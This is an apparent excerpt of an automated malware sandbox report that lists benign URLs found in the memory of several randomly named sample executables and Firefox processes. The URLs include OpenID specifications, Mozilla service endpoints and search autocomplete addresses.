Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/signon/1.1
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/sreg/1.04http://openid.net/sreg/1.1
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/srv/ax/1.0
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/xmlns/1.08http://openid.net/signon/1.0
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3209453144.000001C13367D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%spictureinpicture
Source: firefox.exe, 0000001C.00000002.3322743316.000001C1359A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001C.00000002.3114255755.000001C1330B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000001C.00000003.2904565048.000001C13AB34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000001C.00000003.2904565048.000001C13AB34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3114255755.000001C1330B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/multi-factor-physical
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/none
Source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/phishing-resistantxhttp://schemas.openid.net/pape/po
Source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/privatepersonalidentifier
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0
Source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0$dnoa.request_nonce
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0/signonNhttp://specs.openid.net/auth/2.0/serverdhttp://specs.openid.
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/oauth/1.0
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/pape/1.0
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0/icon
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/
Source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0hhttp://specs.openid.net/extensions/ui/1.0/mode/popupfhttp:
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/icon
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3209453144.000001C13367D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001C.00000002.3322743316.000001C1359A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/no-pii.pdf
Source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/openid-trust-level1.pdfthttp://www.idmanagement.gov/
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3209453144.000001C13367D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%sCan
Source: firefox.exe, 0000001C.00000002.3322743316.000001C1359A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateBITS_ACTIVE_NO_PROGRESS_TIMEOUT_SECSSERVICE_UPDATER_COULD_NOT_
Source: firefox.exe, 0000001C.00000002.3350930206.000001C13770A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3362104728.000001C137F46000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133AAE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133AB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2886718760.000001C138C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3356200604.000001C137A74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3356200604.000001C137A47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133AA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3267954961.000001C13469A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3363191497.000001C138106000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulCan
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulMissing
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulUsing
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/autoco
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/browse
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/shopping/Shoppi
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuldedupeLogins/shouldReplaceExisting:
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulextension/webcompat
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulloadListener:
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/BrowserUsageTelemet
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://activity-stream/lib/ASRouter
Source: 140460b5fe.exe, 0000000B.00000002.3087088475.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.3042080293.0000000005CCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: b1c5a9309d.exe, 0000000C.00000003.2774633037.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2889384939.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: b1c5a9309d.exe, 0000000C.00000003.2774633037.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2889384939.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000003.2780650124.000001C137577000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780285141.000001C13753C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780453438.000001C13755A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3210127000.000001C133720000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2779789861.000001C137300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780110569.000001C13751F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/LOAD_ANONYMOUS_ALLOW_CLIENT_CERTINHIBIT_PERSISTENT_CACHINGaboutConfigPi
Source: 140460b5fe.exe, 0000000B.00000003.2875427797.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726785957.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726119931.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726520214.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2819329376.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2818888885.0000000005CBB000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2821619319.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3383840145.000001C1393F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001C.00000002.3370712885.000001C1388B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001C.00000002.3322743316.000001C135936000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3339647822.000001C137228000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322743316.000001C1359CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3364852860.000001C1382D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370712885.000001C13882F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138707000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C13870B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001C.00000002.3350930206.000001C13770A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3383840145.000001C1393F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: firefox.exe, 0000001C.00000002.3114255755.000001C1330B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3001793073.00000231946C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C02EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: firefox.exe, 0000001C.00000002.3114255755.000001C1330B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3001793073.00000231946C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C02EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000001C.00000002.3383467006.000001C1393DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3384098116.000001C139403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3383079455.000001C13938A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3383168756.000001C1393AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3383236300.000001C1393B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3267954961.000001C134628000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3383840145.000001C1393F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3362104728.000001C137F3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001C.00000002.3367815976.000001C13844C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1694699#c21
Source: 140460b5fe.exe, 0000000B.00000003.2875427797.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726785957.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726119931.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726520214.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2819329376.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2818888885.0000000005CBB000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2821619319.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 140460b5fe.exe, 0000000B.00000003.2875427797.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726785957.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726119931.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726520214.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2819329376.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2818888885.0000000005CBB000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2821619319.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
